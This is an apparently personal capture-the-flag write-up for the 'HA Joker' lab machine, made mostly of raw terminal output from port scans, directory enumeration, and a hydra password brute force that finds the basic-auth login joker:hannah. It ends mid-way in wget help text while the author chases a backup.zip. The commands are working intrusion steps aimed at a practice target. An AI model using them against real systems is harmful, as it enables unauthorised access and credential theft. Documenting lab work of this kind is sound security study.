HA Joker CTF

PreviousCMesS NextOWASP Top 10 2021

Last updated 1 year ago

┌──(witty㉿kali)-[~] └─$ rustscan -a 10.10.230.190 --ulimit 5500 -b 65535 -- -A -Pn .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : https://discord.gg/GFrQsGy : : https://github.com/RustScan/RustScan : -------------------------------------- Nmap? More like slowmap.🐢 [~] The config file is expected to be at "/home/witty/.rustscan.toml" [~] Automatically increasing ulimit value to 5500. [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers Open 10.10.230.190:22 Open 10.10.230.190:80 Open 10.10.230.190:8080 [~] Starting Script(s) [>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}") Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower. [~] Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-10 13:03 EST NSE: Loaded 155 scripts for scanning. NSE: Script Pre-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 13:03 Completed NSE at 13:03, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 13:03 Completed NSE at 13:03, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 13:03 Completed NSE at 13:03, 0.00s elapsed Initiating Parallel DNS resolution of 1 host. at 13:03 Completed Parallel DNS resolution of 1 host. at 13:03, 0.02s elapsed DNS resolution of 1 IPs took 0.04s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating Connect Scan at 13:03 Scanning 10.10.230.190 [3 ports] Discovered open port 8080/tcp on 10.10.230.190 Discovered open port 22/tcp on 10.10.230.190 Discovered open port 80/tcp on 10.10.230.190 Completed Connect Scan at 13:03, 0.38s elapsed (3 total ports) Initiating Service scan at 13:03 Scanning 3 services on 10.10.230.190 Completed Service scan at 13:03, 6.83s elapsed (3 services on 1 host) NSE: Script scanning 10.10.230.190. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 13:03 Completed NSE at 13:04, 11.35s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 13:04 Completed NSE at 13:04, 1.63s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 13:04 Completed NSE at 13:04, 0.00s elapsed Nmap scan report for 10.10.230.190 Host is up, received user-set (0.37s latency). Scanned at 2023-03-10 13:03:42 EST for 21s PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 ad201ff4331b0070b385cb8700c4f4f7 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDL89x6yGLD8uQ9HgFK1nvBGpjT6KJXIwZZ56/pjgdRK/dOSpvl0ckMaa68V9bLHvn0Oerh2oa4Q5yCnwddrQnm7JHJ4gNAM+lg+ML7+cIULAHqXFKPpPAjvEWJ7T6+NRrLc9q8EixBsbEPuNer4tGGyUJXg6GpjWL5jZ79TwZ80ANcYPVGPZbrcCfx5yR/1KBTcpEdUsounHjpnpDS/i+2rJ3ua8IPUrqcY3GzlDcvF7d/+oO9GxQ0wjpy1po6lDJ/LytU6IPFZ1Gn/xpRsOxw0N35S7fDuhn69XlXj8xiDDbTlOhD4sNxckX0veXKpo6ynQh5t3yM5CxAQdqRKgFF | 256 1bf9a8ecfd35ecfb04d5ee2aa17a4f78 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOzF9YUxQxzgUVsmwq9ZtROK9XiPOB0quHBIwbMQPScfnLbF3/Fws+Ffm/l0NV7aIua0W7FLGP3U4cxZEDFIzfQ= | 256 dcd7dd6ef6711f8c2c2ca1346d299920 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPLWfYB8/GSsvhS7b9c6hpXJCO6p1RvLsv4RJMvN4B3r 80/tcp open http syn-ack Apache httpd 2.4.29 ((Ubuntu)) |_http-title: HA: Joker |_http-server-header: Apache/2.4.29 (Ubuntu) | http-methods: |_ Supported Methods: HEAD GET POST OPTIONS 8080/tcp open http syn-ack Apache httpd 2.4.29 | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ Basic realm=Please enter the password. |_http-title: 401 Unauthorized |_http-server-header: Apache/2.4.29 (Ubuntu) Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 13:04 Completed NSE at 13:04, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 13:04 Completed NSE at 13:04, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 13:04 Completed NSE at 13:04, 0.00s elapsed Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 22.72 seconds  <!DOCTYPE html>  <html>  <title>HA: Joker</title>  <meta charset="UTF-8">  <meta name="viewport" content="width=device-width, initial-scale=1">  <link rel="stylesheet" href="css/w3.css">  <link rel="stylesheet" href="css/font.css">  <style>  body,h1 {font-family: "Raleway", Arial, sans-serif}  h1 {letter-spacing: 6px}  .w3-row-padding img {margin-bottom: 12px}  </style>  <body>  <div class="w3-content" style="max-width:1500px">  <header class="w3-panel w3-center w3-opacity">  <img src="img/100.jpg" style="width:100%">  <h1>HA: JOKER</h1>  </header>  <div class="w3-row-padding w3-grayscale" style="margin-bottom:128px">  <div class="w3-half">  <img src="img/1.png" style="width:100%">  <img src="img/2.png" style="width:100%">  <img src="img/3.png" style="width:100%">  <img src="img/4.png" style="width:100%">  <img src="img/5.png" style="width:100%">  <img src="img/6.png" style="width:100%">  <img src="img/7.png" style="width:100%">  <img src="img/8.png" style="width:100%">  <img src="img/9.png" style="width:100%">  </div>  <div class="w3-half">  <img src="img/10.png" style="width:100%">  <img src="img/11.png" style="width:100%">  <img src="img/12.png" style="width:100%">  <img src="img/13.png" style="width:100%">  <img src="img/14.png" style="width:100%">  <img src="img/15.png" style="width:100%">  <img src="img/16.png" style="width:100%">  <img src="img/17.png" style="width:100%">  <img src="img/18.png" style="width:100%">  </div>  </div>  </div>  <footer class="w3-container w3-padding-64 w3-light-grey w3-center w3-large">  <p>Powered by <a href="https://hackingarticles.in" target="_blank" class="w3-hover-text-green">Hacking Articles</a></p>  </footer>  </body>  </html> ┌──(witty㉿kali)-[~] └─$ gobuster -t 64 dir -e -k -u http://10.10.230.190/ -w /usr/share/dirb/wordlists/common.txt -x txt,php,html =============================================================== Gobuster v3.5 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.230.190/ [+] Method: GET [+] Threads: 64 [+] Wordlist: /usr/share/dirb/wordlists/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.5 [+] Extensions: txt,php,html [+] Expanded: true [+] Timeout: 10s =============================================================== 2023/03/10 13:11:21 Starting gobuster in directory enumeration mode =============================================================== http://10.10.230.190/.htaccess.html (Status: 403) [Size: 278] http://10.10.230.190/.html (Status: 403) [Size: 278] http://10.10.230.190/.htpasswd (Status: 403) [Size: 278] http://10.10.230.190/.hta.html (Status: 403) [Size: 278] http://10.10.230.190/.htpasswd.html (Status: 403) [Size: 278] http://10.10.230.190/.htaccess.php (Status: 403) [Size: 278] http://10.10.230.190/.htaccess (Status: 403) [Size: 278] http://10.10.230.190/.hta.txt (Status: 403) [Size: 278] http://10.10.230.190/.htpasswd.php (Status: 403) [Size: 278] http://10.10.230.190/.php (Status: 403) [Size: 278] http://10.10.230.190/.htaccess.txt (Status: 403) [Size: 278] http://10.10.230.190/.hta (Status: 403) [Size: 278] http://10.10.230.190/.hta.php (Status: 403) [Size: 278] http://10.10.230.190/.htpasswd.txt (Status: 403) [Size: 278] http://10.10.230.190/css (Status: 301) [Size: 312] [--> http://10.10.230.190/css/] http://10.10.230.190/img (Status: 301) [Size: 312] [--> http://10.10.230.190/img/] http://10.10.230.190/index.html (Status: 200) [Size: 5954] http://10.10.230.190/index.html (Status: 200) [Size: 5954] http://10.10.230.190/phpinfo.php (Status: 200) [Size: 94769] http://10.10.230.190/phpinfo.php (Status: 200) [Size: 94769] http://10.10.230.190/secret.txt (Status: 200) [Size: 320] http://10.10.230.190/server-status (Status: 403) [Size: 278] Progress: 18456 / 18460 (99.98%) =============================================================== 2023/03/10 13:12:27 Finished =============================================================== http://10.10.230.190/secret.txt Batman hits Joker. Joker: "Bats you may be a rock but you won't break me." (Laughs!) Batman: "I will break you with this rock. You made a mistake now." Joker: "This is one of your 100 poor jokes, when will you get a sense of humor bats! You are dumb as a rock." Joker: "HA! HA! HA! HA! HA! HA! HA! HA! HA! HA! HA! HA!" ┌──(witty㉿kali)-[~] └─$ hydra -l joker -P /usr/share/wordlists/rockyou.txt -s 8080 10.10.230.190 http-get -t 64 Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-10 13:28:52 [WARNING] You must supply the web page as an additional option or via -m, default path set to / [DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task [DATA] attacking http-get://10.10.230.190:8080/ [8080][http-get] host: 10.10.230.190 login: joker password: hannah 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-03-10 13:29:35 ┌──(witty㉿kali)-[~] └─$ nikto -host http://10.10.230.190:8080/ -id joker:hannah - Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 10.10.230.190 + Target Hostname: 10.10.230.190 + Target Port: 8080 + Start Time: 2023-03-10 13:33:40 (GMT-5) --------------------------------------------------------------------------- + Server: Apache/2.4.29 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + / - Requires Authentication for realm ' Please enter the password.' + Successfully authenticated to realm ' Please enter the password.' with user-supplied credentials. + /robots.txt: Entry '/components/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/bin/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/modules/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/plugins/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/language/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/includes/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/cache/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/layouts/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/administrator/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/cli/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/tmp/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/libraries/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: contains 14 entries which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt + /backup.zip: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html + Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + /: Web Server returns a valid response with junk HTTP methods which may cause false positives. + /: DEBUG HTTP verb may show server debugging information. See: https://docs.microsoft.com/en-us/visualstudio/debugger/how-to-enable-debugging-for-aspnet-applications?view=vs-2017 + /web.config: Uncommon header 'tcn' found, with contents: choice. + /web.config: ASP config file is accessible. http://10.10.230.190:8080/robots.txt # If the Joomla site is installed within a folder # eg www.example.com/joomla/ then the robots.txt file # MUST be moved to the site root # eg www.example.com/robots.txt # AND the joomla folder name MUST be prefixed to all of the # paths. # eg the Disallow rule for the /administrator/ folder MUST # be changed to read # Disallow: /joomla/administrator/ # # For more information about the robots.txt standard, see: # http://www.robotstxt.org/orig.html # # For syntax checking, see: # http://tool.motoricerca.info/robots-checker.phtml User-agent: * Disallow: /administrator/ Disallow: /bin/ Disallow: /cache/ Disallow: /cli/ Disallow: /components/ Disallow: /includes/ Disallow: /installation/ Disallow: /language/ Disallow: /layouts/ Disallow: /libraries/ Disallow: /logs/ Disallow: /modules/ Disallow: /plugins/ Disallow: /tmp/ joker:hannah to base64 am9rZXI6aGFubmFo ┌──(witty㉿kali)-[~] └─$ curl -s -H "Authorization: Basic am9rZXI6aGFubmFo" http://10.10.230.190:8080/robots.txt # If the Joomla site is installed within a folder # eg www.example.com/joomla/ then the robots.txt file # MUST be moved to the site root # eg www.example.com/robots.txt # AND the joomla folder name MUST be prefixed to all of the # paths. # eg the Disallow rule for the /administrator/ folder MUST # be changed to read # Disallow: /joomla/administrator/ # # For more information about the robots.txt standard, see: # http://www.robotstxt.org/orig.html # # For syntax checking, see: # http://tool.motoricerca.info/robots-checker.phtml User-agent: * Disallow: /administrator/ Disallow: /bin/ Disallow: /cache/ Disallow: /cli/ Disallow: /components/ Disallow: /includes/ Disallow: /installation/ Disallow: /language/ Disallow: /layouts/ Disallow: /libraries/ Disallow: /logs/ Disallow: /modules/ Disallow: /plugins/ Disallow: /tmp/ ┌──(witty㉿kali)-[~] └─$ gobuster dir -H "Authorization: Basic am9rZXI6aGFubmFo,Cookie: 5fef75b50575ebea33a28bd1e7087dcb=gq1c2tl4lq49h2rv2p7gfir6j2; 0d073d2ec68ac2f24f859831bbe8843b=1ecph8o40ul8om1nmk81vpd872" -u http://10.10.230.190:8080/ -x bak,old,tar,gz,tgz,zip,7z -w /usr/share/wordlists/dirb/common.txt -t 64 =============================================================== Gobuster v3.5 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.230.190:8080/ [+] Method: GET [+] Threads: 64 [+] Wordlist: /usr/share/wordlists/dirb/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.5 [+] Extensions: tgz,zip,7z,bak,old,tar,gz [+] Timeout: 10s =============================================================== 2023/03/10 16:02:18 Starting gobuster in directory enumeration mode =============================================================== /.hta.7z (Status: 403) [Size: 280] /.hta.zip (Status: 403) [Size: 280] /.hta (Status: 403) [Size: 280] /.hta.bak (Status: 403) [Size: 280] /.hta.old (Status: 403) [Size: 280] /.hta.tgz (Status: 403) [Size: 280] /.hta.tar (Status: 403) [Size: 280] /.hta.gz (Status: 403) [Size: 280] /.htaccess (Status: 403) [Size: 280] /.htaccess.zip (Status: 403) [Size: 280] /.htaccess.old (Status: 403) [Size: 280] /.htaccess.7z (Status: 403) [Size: 280] /.htaccess.gz (Status: 403) [Size: 280] /.htaccess.tgz (Status: 403) [Size: 280] /.htpasswd (Status: 403) [Size: 280] /.htaccess.tar (Status: 403) [Size: 280] /.htpasswd.7z (Status: 403) [Size: 280] /.htaccess.bak (Status: 403) [Size: 280] /.htpasswd.bak (Status: 403) [Size: 280] /.htpasswd.tar (Status: 403) [Size: 280] /.htpasswd.old (Status: 403) [Size: 280] /.htpasswd.gz (Status: 403) [Size: 280] /.htpasswd.tgz (Status: 403) [Size: 280] /.htpasswd.zip (Status: 403) [Size: 280] /administrator (Status: 301) [Size: 329] [--> http://10.10.230.190:8080/administrator/] /bin (Status: 301) [Size: 319] [--> http://10.10.230.190:8080/bin/] /cache (Status: 301) [Size: 321] [--> http://10.10.230.190:8080/cache/] Progress: 7428 / 36920 (20.12%)[ERROR] 2023/03/10 16:02:46 [!] context deadline exceeded (Client.Timeout or context cancellation while reading body) [ERROR] 2023/03/10 16:02:46 [!] context deadline exceeded (Client.Timeout or context cancellation while reading body) /components (Status: 301) [Size: 326] [--> http://10.10.230.190:8080/components/] /images (Status: 301) [Size: 322] [--> http://10.10.230.190:8080/images/] /includes (Status: 301) [Size: 324] [--> http://10.10.230.190:8080/includes/] /index.php (Status: 200) [Size: 10949] Progress: 16474 / 36920 (44.62%)^C [!] Keyboard interrupt detected, terminating. =============================================================== 2023/03/10 16:03:16 Finished =============================================================== let's use feroxbuster or maybe rustbuster ┌──(witty㉿kali)-[~] └─$ feroxbuster -H "Authorization: Basic am9rZXI6aGFubmFo,Cookie: 5fef75b50575ebea33a28bd1e7087dcb=gq1c2tl4lq49h2rv2p7gfir6j2; 0d073d2ec68ac2f24f859831bbe8843b=1ecph8o40ul8om1nmk81vpd872" -u http://10.10.230.190:8080/ -x bak,old,tar,gz,tgz,zip,7z -w /usr/share/wordlists/dirb/common.txt -t 64 -q 403 GET 9l 28w 280c http://10.10.230.190:8080/.hta 500 GET 1l 5w 31c http://10.10.230.190:8080/ 403 GET 9l 28w 280c http://10.10.230.190:8080/.htpasswd 403 GET 9l 28w 280c http://10.10.230.190:8080/.htaccess 403 GET 9l 28w 280c http://10.10.230.190:8080/.hta.bak 403 GET 9l 28w 280c http://10.10.230.190:8080/.htpasswd.bak 403 GET 9l 28w 280c http://10.10.230.190:8080/.htaccess.bak 403 GET 9l 28w 280c http://10.10.230.190:8080/.hta.old 403 GET 9l 28w 280c http://10.10.230.190:8080/.htpasswd.old 403 GET 9l 28w 280c http://10.10.230.190:8080/.htaccess.old 403 GET 9l 28w 280c http://10.10.230.190:8080/.hta.tar 403 GET 9l 28w 280c http://10.10.230.190:8080/.htpasswd.tar 403 GET 9l 28w 280c http://10.10.230.190:8080/.htaccess.tar 403 GET 9l 28w 280c http://10.10.230.190:8080/.hta.gz 403 GET 9l 28w 280c http://10.10.230.190:8080/.htpasswd.gz 403 GET 9l 28w 280c http://10.10.230.190:8080/.htaccess.gz 403 GET 9l 28w 280c http://10.10.230.190:8080/.hta.tgz 403 GET 9l 28w 280c http://10.10.230.190:8080/.htpasswd.tgz 403 GET 9l 28w 280c http://10.10.230.190:8080/.htaccess.tgz 403 GET 9l 28w 280c http://10.10.230.190:8080/.htpasswd.zip 403 GET 9l 28w 280c http://10.10.230.190:8080/.htaccess.zip 403 GET 9l 28w 280c http://10.10.230.190:8080/.hta.zip 403 GET 9l 28w 280c http://10.10.230.190:8080/.htpasswd.7z 403 GET 9l 28w 280c http://10.10.230.190:8080/.htaccess.7z 403 GET 9l 28w 280c http://10.10.230.190:8080/.hta.7z 301 GET 9l 28w 329c http://10.10.230.190:8080/administrator => http://10.10.230.190:8080/administrator/ 403 GET 9l 28w 280c http://10.10.230.190:8080/administrator/.hta 403 GET 9l 28w 280c http://10.10.230.190:8080/administrator/.htaccess 403 GET 9l 28w 280c http://10.10.230.190:8080/administrator/.htaccess.bak 403 GET 9l 28w 280c http://10.10.230.190:8080/administrator/.htaccess.old 403 GET 9l 28w 280c http://10.10.230.190:8080/administrator/.htaccess.tar 403 GET 9l 28w 280c http://10.10.230.190:8080/administrator/.htaccess.gz 403 GET 9l 28w 280c http://10.10.230.190:8080/administrator/.htaccess.tgz 403 GET 9l 28w 280c http://10.10.230.190:8080/administrator/.htaccess.zip 403 GET 9l 28w 280c http://10.10.230.190:8080/administrator/.htaccess.7z 403 GET 9l 28w 280c http://10.10.230.190:8080/administrator/.htpasswd 403 GET 9l 28w 280c http://10.10.230.190:8080/administrator/.htpasswd.bak 403 GET 9l 28w 280c http://10.10.230.190:8080/administrator/.htpasswd.old 403 GET 9l 28w 280c http://10.10.230.190:8080/administrator/.htpasswd.tar 403 GET 9l 28w 280c http://10.10.230.190:8080/administrator/.htpasswd.gz 403 GET 9l 28w 280c http://10.10.230.190:8080/administrator/.htpasswd.tgz 403 GET 9l 28w 280c http://10.10.230.190:8080/administrator/.htpasswd.zip 403 GET 9l 28w 280c http://10.10.230.190:8080/administrator/.htpasswd.7z 403 GET 9l 28w 280c http://10.10.230.190:8080/administrator/.hta.bak 403 GET 9l 28w 280c http://10.10.230.190:8080/administrator/.hta.old 403 GET 9l 28w 280c http://10.10.230.190:8080/administrator/.hta.tar 403 GET 9l 28w 280c http://10.10.230.190:8080/administrator/.hta.gz 403 GET 9l 28w 280c http://10.10.230.190:8080/administrator/.hta.tgz 403 GET 9l 28w 280c http://10.10.230.190:8080/administrator/.hta.zip 403 GET 9l 28w 280c http://10.10.230.190:8080/administrator/.hta.7z 301 GET 9l 28w 319c http://10.10.230.190:8080/bin => http://10.10.230.190:8080/bin/ 403 GET 9l 28w 280c http://10.10.230.190:8080/bin/.htaccess 403 GET 9l 28w 280c http://10.10.230.190:8080/bin/.htaccess.bak 403 GET 9l 28w 280c http://10.10.230.190:8080/bin/.htaccess.old 403 GET 9l 28w 280c http://10.10.230.190:8080/bin/.hta 403 GET 9l 28w 280c http://10.10.230.190:8080/bin/.htaccess.tar 403 GET 9l 28w 280c http://10.10.230.190:8080/bin/.hta.bak 403 GET 9l 28w 280c http://10.10.230.190:8080/bin/.htaccess.gz 403 GET 9l 28w 280c http://10.10.230.190:8080/bin/.hta.old 403 GET 9l 28w 280c http://10.10.230.190:8080/bin/.htaccess.tgz 403 GET 9l 28w 280c http://10.10.230.190:8080/bin/.hta.tar 403 GET 9l 28w 280c http://10.10.230.190:8080/bin/.htaccess.zip 403 GET 9l 28w 280c http://10.10.230.190:8080/bin/.hta.gz 403 GET 9l 28w 280c http://10.10.230.190:8080/bin/.htaccess.7z 403 GET 9l 28w 280c http://10.10.230.190:8080/bin/.hta.tgz 403 GET 9l 28w 280c http://10.10.230.190:8080/bin/.hta.zip 301 GET 9l 28w 321c http://10.10.230.190:8080/cache => http://10.10.230.190:8080/cache/ 403 GET 9l 28w 280c http://10.10.230.190:8080/bin/.hta.7z 403 GET 9l 28w 280c http://10.10.230.190:8080/bin/.htpasswd 403 GET 9l 28w 280c http://10.10.230.190:8080/cache/.hta 403 GET 9l 28w 280c http://10.10.230.190:8080/cache/.htaccess 403 GET 9l 28w 280c http://10.10.230.190:8080/cache/.htpasswd 200 GET 0l 0w 12133560c http://10.10.230.190:8080/backup 200 GET 0l 0w 12133560c http://10.10.230.190:8080/backup.zip 301 GET 9l 28w 326c http://10.10.230.190:8080/components => http://10.10.230.190:8080/components/ 403 GET 9l 28w 280c http://10.10.230.190:8080/components/.htpasswd 403 GET 9l 28w 280c http://10.10.230.190:8080/components/.htpasswd.bak 403 GET 9l 28w 280c http://10.10.230.190:8080/components/.htpasswd.old 🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_10_10_230_190:8080_-1678483133.state ... Scanning: http://10.10.230.190:8080/ Scanning: http://10.10.230.190:8080/administrator/ Scanning: http://10.10.230.190:8080/bin/ Scanning: http://10.10.230.190:8080/cache/ Scanning: http://10.10.230.190:8080/components/ https://github.com/phra/rustbuster ┌──(witty㉿kali)-[~/Downloads] └─$ chmod +x rustbuster-v3.0.3-x86_64-unknown-linux-gnu ┌──(witty㉿kali)-[~/Downloads] └─$ ./rustbuster-v3.0.3-x86_64-unknown-linux-gnu -h ./rustbuster-v3.0.3-x86_64-unknown-linux-gnu: error while loading shared libraries: libssl.so.1.1: cannot open shared object file: No such file or directory ┌──(witty㉿kali)-[~/Downloads] └─$ sudo apt-get install libssl1.1 ┌──(witty㉿kali)-[~/Downloads] └─$ ./rustbuster-v3.0.3-x86_64-unknown-linux-gnu -h rustbuster 3.0.3 by phra & ps1dr3x DirBuster for rust USAGE: rustbuster-v3.0.3-x86_64-unknown-linux-gnu [SUBCOMMAND] FLAGS: -h, --help Prints help information -V, --version Prints version information SUBCOMMANDS: dir Directories and files enumeration mode dns A/AAAA entries enumeration mode fuzz Custom fuzzing enumeration mode help Prints this message or the help of the given subcommand(s) tilde IIS 8.3 shortname enumeration mode vhost Virtual hosts enumeration mode EXAMPLES: 1. Dir mode: rustbuster dir -u http://localhost:3000/ -w examples/wordlist -e php 2. Dns mode: rustbuster dns -d google.com -w examples/wordlist 3. Vhost mode: rustbuster vhost -u http://localhost:3000/ -w examples/wordlist -d test.local -x "Hello" 4. Fuzz mode: rustbuster fuzz -u http://localhost:3000/login \ -X POST \ -H "Content-Type: application/json" \ -b '{"user":"FUZZ","password":"FUZZ","csrf":"CSRFCSRF"}' \ -w examples/wordlist \ -w /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt \ -s 200 \ --csrf-url "http://localhost:3000/csrf" \ --csrf-regex '\{"csrf":"(\w+)"\}' 5. Tilde mode: rustbuster tilde -u http://localhost:3000/ -e aspx -X OPTIONS ┌──(witty㉿kali)-[~/Downloads] └─$ mv rustbuster-v3.0.3-x86_64-unknown-linux-gnu rustbuster ┌──(witty㉿kali)-[~/Downloads] └─$ ./rustbuster dir -H "Authorization: Basic am9rZXI6aGFubmFo,Cookie: 5fef75b50575ebea33a28bd1e7087dcb=gq1c2tl4lq49h2rv2p7gfir6j2; 0d073d2ec68ac2f24f859831bbe8843b=1ecph8o40ul8om1nmk81vpd872" --url http://10.10.230.190:8080/ -e bak,old,tar,gz,tgz,zip,7z --wordlist /usr/share/wordlists/dirb/common.txt -t 64 -s 200 WARN rustbuster::args > Your terminal is 82 cols wide and 13 lines tall WARN rustbuster::args > Disabling progress bar, minimum cols: 104 ~ rustbuster v3.0.3 ~ by phra & ps1dr3x ~ [?] Started at : 2023-03-10 16:46:35 GET 200 OK http://10.10.230.190:8080/backup GET 200 OK http://10.10.230.190:8080/backup.zip ^C :) like rustscan really quickly ┌──(witty㉿kali)-[~/Downloads] └─$ wget -h GNU Wget 1.21.3, a non-interactive network retriever. Usage: wget [OPTION]... [URL]... Mandatory arguments to long options are mandatory for short options too. Startup: -V, --version display the version of Wget and exit -h, --help print this help -b, --background go to background after startup -e, --execute=COMMAND execute a `.wgetrc'-style command Logging and input file: -o, --output-file=FILE log messages to FILE -a, --append-output=FILE append messages to FILE -d, --debug print lots of debugging information -q, --quiet quiet (no output) -v, --verbose be verbose (this is the default) -nv, --no-verbose turn off verboseness, without being quiet --report-speed=TYPE output bandwidth as TYPE. TYPE can be bits -i, --input-file=FILE download URLs found in local or external FILE -F, --force-html treat input file as HTML -B, --base=URL resolves HTML input-file links (-i -F) relative to URL --config=FILE specify config file to use --no-config do not read any config file --rejected-log=FILE log reasons for URL rejection to FILE Download: -t, --tries=NUMBER set number of retries to NUMBER (0 unlimits) --retry-connrefused retry even if connection is refused --retry-on-http-error=ERRORS comma-separated list of HTTP errors to retry -O, --output-document=FILE write documents to FILE -nc, --no-clobber skip downloads that would download to existing files (overwriting them) --no-netrc don't try to obtain credentials from .netrc -c, --continue resume getting a partially-downloaded file --start-pos=OFFSET start downloading from zero-based position OFFSET --progress=TYPE select progress gauge type --show-progress display the progress bar in any verbosity mode -N, --timestamping don't re-retrieve files unless newer than local --no-if-modified-since don't use conditional if-modified-since get requests in timestamping mode --no-use-server-timestamps don't set the local file's timestamp by the one on the server -S, --server-response print server response --spider don't download anything -T, --timeout=SECONDS set all timeout values to SECONDS --dns-timeout=SECS set the DNS lookup timeout to SECS --connect-timeout=SECS set the connect timeout to SECS --read-timeout=SECS set the read timeout to SECS -w, --wait=SECONDS wait SECONDS between retrievals (applies if more then 1 URL is to be retrieved) --waitretry=SECONDS wait 1..SECONDS between retries of a retrieval (applies if more then 1 URL is to be retrieved) --random-wait wait from 0.5*WAIT...1.5*WAIT secs between retrievals (applies if more then 1 URL is to be retrieved) --no-proxy explicitly turn off proxy -Q, --quota=NUMBER set retrieval quota to NUMBER --bind-address=ADDRESS bind to ADDRESS (hostname or IP) on local host --limit-rate=RATE limit download rate to RATE --no-dns-cache disable caching DNS lookups --restrict-file-names=OS restrict chars in file names to ones OS allows --ignore-case ignore case when matching files/directories -4, --inet4-only connect only to IPv4 addresses -6, --inet6-only connect only to IPv6 addresses --prefer-family=FAMILY connect first to addresses of specified family, one of IPv6, IPv4, or none --user=USER set both ftp and http user to USER --password=PASS set both ftp and http password to PASS --ask-password prompt for passwords --use-askpass=COMMAND specify credential handler for requesting username and password. If no COMMAND is specified the WGET_ASKPASS or the SSH_ASKPASS environment variable is used. --no-iri turn off IRI support --local-encoding=ENC use ENC as the local encoding for IRIs --remote-encoding=ENC use ENC as the default remote encoding --unlink remove file before clobber --xattr turn on storage of metadata in extended file attributes Directories: -nd, --no-directories don't create directories -x, --force-directories force creation of directories -nH, --no-host-directories don't create host directories --protocol-directories use protocol name in directories -P, --directory-prefix=PREFIX save files to PREFIX/.. --cut-dirs=NUMBER ignore NUMBER remote directory components HTTP options: --http-user=USER set http user to USER --http-password=PASS set http password to PASS --no-cache disallow server-cached data --default-page=NAME change the default page name (normally this is 'index.html'.) -E, --adjust-extension save HTML/CSS documents with proper extensions --ignore-length ignore 'Content-Length' header field --header=STRING insert STRING among the headers --compression=TYPE choose 